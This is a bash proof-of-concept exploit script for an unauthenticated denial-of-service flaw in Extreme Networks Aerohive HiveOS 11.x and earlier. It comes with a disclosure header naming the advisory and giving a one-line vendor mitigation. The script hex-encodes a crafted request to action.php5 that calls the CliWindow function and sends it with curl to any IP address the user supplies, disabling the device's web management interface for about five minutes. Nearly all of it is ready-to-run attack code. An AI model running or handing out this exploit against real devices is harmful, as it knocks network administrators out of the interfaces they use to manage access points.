#!/bin/bash # # # Extreme Networks Aerohive HiveOS <=11.x Remote Denial of Service Exploit # # # Vendor: Extreme Networks # Product web page: https://www.extremenetworks.com # Datasheet: https://www.aerohive.com/wp-content/uploads/Aerohive_Datasheet_HiveOS.pdf # Affected version: <=11.x # # Summary: Aerohive HiveOS is the network operating system that powers # all Aerohive access points, based on a feature-rich Cooperative Control # architecture. HiveOS enables Aerohive devices to organize into groups, # or 'hives', which allows functionality like fast roaming, user-based # access control and fully stateful application-aware firewall policies, # as well as additional security and RF networking features - all without # the need for a centralized or dedicated controller. # # Desc: An unauthenticated malicious user can trigger a Denial of Service # (DoS) attack when sending specific application layer packets towards the # Aerohive NetConfig UI. This PoC exploit renders the application unusable # for 305 seconds or 5 minutes with a single HTTP request using the action.php5 # script calling the CliWindow function thru the _page parameter, denying # access to the web server hive user interface. # # Vendor mitigation: # CLI> no system web-server hive-ui enable # # Tested on: Hiawatha v9.6 # # # Vulnerability discvered by Gjoko 'LiquidWorm' Krstic # @zeroscience # # # Advisory ID: ZSL-2020-5566 # Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5566.php # # # 05.12.2019 # if [ "$#" -ne 1 ]; then echo -ne "\nUsage: $0 [ipaddr]\n\n" exit fi IP=$1 SBYTES=`echo -e \ "\x61\x63\x74\x69\x6f\x6e\x2e"\ "\x70\x68\x70\x35\x3f\x5f\x70"\ "\x61\x67\x65\x3d\x43\x6c\x69"\ "\x57\x69\x6e\x64\x6f\x77\x26"\ "\x5f\x61\x63\x74\x69\x6f\x6e"\ "\x3d\x67\x65\x74\x26\x5f\x61"\ "\x63\x74\x69\x6f\x6e\x54\x79"\ "\x70\x65\x3d\x31"`##_000000251 curl -vk "https://$IP/$SBYTES" --user-agent "Profesorke/Dzvoneshe"
